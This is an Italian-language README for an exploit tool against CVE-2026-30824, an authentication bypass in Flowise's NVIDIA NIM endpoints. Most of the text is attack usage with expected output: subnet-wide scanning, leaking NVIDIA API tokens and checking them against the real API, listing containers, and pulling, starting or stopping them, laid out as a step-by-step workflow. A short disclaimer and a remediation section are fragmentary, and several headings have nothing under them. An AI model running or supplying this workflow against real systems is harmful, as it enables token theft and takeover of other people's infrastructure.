
Un exploit proof-of-concept per **CVE-2026-30824**, una vulnerabilità critica di bypass dell'autenticazione in Flowise che espone gli endpoint API NVIDIA NIM senza autenticazione.
Un checker e exploit proof-of-concept per CVE-2026-30824, una vulnerabilità critica di bypass dell'autenticazione in Flowise che espone gli endpoint API NVIDIA NIM senza autenticazione.
CVE-2026-30824 è un bypass critico dell'autenticazione in Flowise (< 3.0.13) che consente a utenti remoti non autenticati di accedere alla gestione dei container NVIDIA NIM e agli endpoint di generazione dei token API.
| Campo | Valore |
|---|---|
| Punteggio CVSS | 9.8 (Critico) |
| CWE | CWE-306: Autenticazione Mancante per Funzione Critica |
| Versioni Interessate | Flowise < 3.0.13 |
| Impatto | Gestione completa dei container, accesso GPU, furto di token |
Il percorso /api/v1/nvidia-nim/* è nella whitelist del middleware globale di autenticazione, consentendo l'accesso non autenticato a:
✅ Rilevamento della Vulnerabilità — Verifica rapida se il target è vulnerabile
✅ Estrazione dei Token — Divulga i token API NVIDIA dagli endpoint vulnerabili
✅ Validazione dei Token — Verifica i token tramite l'API NVIDIA (dimostra il raggio d'impatto)
✅ Enumerazione dei Container — Elenca i container NIM in esecuzione
✅ Scansione in Lotto — Scansiona più target da un file
✅ Bypass SSL — Ignora i certificati autofirmati per impostazione predefinita
✅ Output Colorato — Indicatori di stato facili da leggere (verde/giallo/rosso)
✅ Ricognizione — Mappatura completa degli endpoint e diagnostica
requests# Clona o scarica lo script
git clone <repository>
cd cve-2026-30824
# Installa le dipendenze
pip install -r requirements.txt
# oppure
pip install requests
# Verifica se un singolo target è vulnerabile
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Output atteso (VULNERABILE):
# [+] Il target risulta VULNERABILE (HTTP 200)
# Risposta: {...}
# Crea targets.txt con un URL per riga
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Scansiona tutti i target (modalità veloce, senza prompt)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Output di riepilogo atteso:
# ============================================================
# [*] Riepilogo Scansione
# ============================================================
# [+] VULNERABILI: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] CORRETTI: 1
# ✗ http://192.168.1.102:3000
# Divulga il token API NVIDIA dall'endpoint vulnerabile
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Output atteso:
# [*] Tentativo di divulgazione del token API NVIDIA...
# [+] Token API NVIDIA: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Tipo di Token: Bearer
# [+] Scadenza tra: 3600s
# Verifica che un token divulgato funzioni con la vera API NVIDIA
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Output atteso:
# [*] Validazione del token tramite l'API NVIDIA...
# [+] Token VALIDO! Accesso a 45 modelli NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Enumera i container sul target
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Output atteso:
# [*] Elenco dei container in esecuzione...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Esegue tutti i controlli di ricognizione sul target vulnerabile
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Argomenti opzionali:
-h, --help Mostra questo messaggio di aiuto ed esci
-t, --target TARGET URL del target (es., http://192.168.1.100:3000)
-f, --targets-file FILE File con l'elenco dei target (uno per riga)
Rilevamento della Vulnerabilità:
--check Verifica solo se il target è vulnerabile
--scan-only Scansiona i target per la vulnerabilità senza prompt
--debug Mostra i dettagli delle richieste e le risposte grezze
Sfruttamento:
--get-token Divulga il token API NVIDIA
--validate-token TOKEN Valida il token divulgato tramite l'API NVIDIA
--list-containers Elenca i container NIM in esecuzione
--get-container CONTAINER_ID Ottieni i dettagli del container
--get-image IMAGE_ID Ottieni i dettagli dell'immagine
--pull-image IMAGE_TAG Scarica un'immagine Docker (es., nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Avvia un container da un tag di immagine
--container-name NAME Nome per il container avviato
--stop-container CONTAINER_ID Arresta un container in esecuzione
--preload Attiva l'endpoint di precaricamento delle risorse
--all Esegue tutti i controlli di ricognizione
Avanzate:
--timeout SECONDS Timeout delle richieste in secondi (predefinito: 15)
# 1. Scansiona l'intera sottorete per istanze vulnerabili
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Per ogni target vulnerabile, estrai il token
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Valida l'impatto del token
python3 CVE-2026-30824.py --validate-token "<token-estratto>"
# Verifica la vulnerabilità e dimostra l'intero raggio d'impatto
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Questo:
# 1. Verifica la vulnerabilità
# 2. Estrae il token API NVIDIA
# 3. Valida il token tramite l'API NVIDIA
# 4. Elenca i container in esecuzione
# 5. Mostra l'enumerazione delle risorse
# Monitora un target periodicamente (tramite cron o scheduler)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | Significato |
|---|---|
| 200 | ✅ Vulnerabile (endpoint accessibile) |
| 400 | ✅ Vulnerabile (errore dell'applicazione ma l'endpoint esiste) |
Problema: L'endpoint restituisce una pagina HTML invece di una risposta API JSON.
Soluzioni:
Problema: Impossibile raggiungere il target.
Soluzioni:
# Testa la connettività
curl -v http://192.168.1.100:3000/
# Aumenta il timeout
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
Problema: Il target utilizza un certificato autofirmato o scaduto.
Soluzione: Lo script disabilita la verifica SSL per impostazione predefinita. Se i problemi persistono:
# Aggiungi esplicitamente porta e protocollo
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
Problema: Token estratto ma la validazione tramite l'API NVIDIA fallisce.
Cause:
⚠️ AVVISO LEGALE
Se scopri questa vulnerabilità in ambienti reali:
Immediate:
A lungo termine:
/api/v1/nvidia-nim/*Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. Consulta il file LICENSE per i dettagli.
Questo exploit è fornito "così com'è" senza garanzia. Usalo solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione scritta. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Creato per test di penetrazione autorizzati e ricerca sulla sicurezza.
Ultimo Aggiornamento: Aprile 2026
| 401 | 🟡 Corretto (autenticazione richiesta) |
| 404 | 🟡 Non Flowise o l'endpoint non esiste |
| 5xx | 🔴 Errore del server/configurazione errata |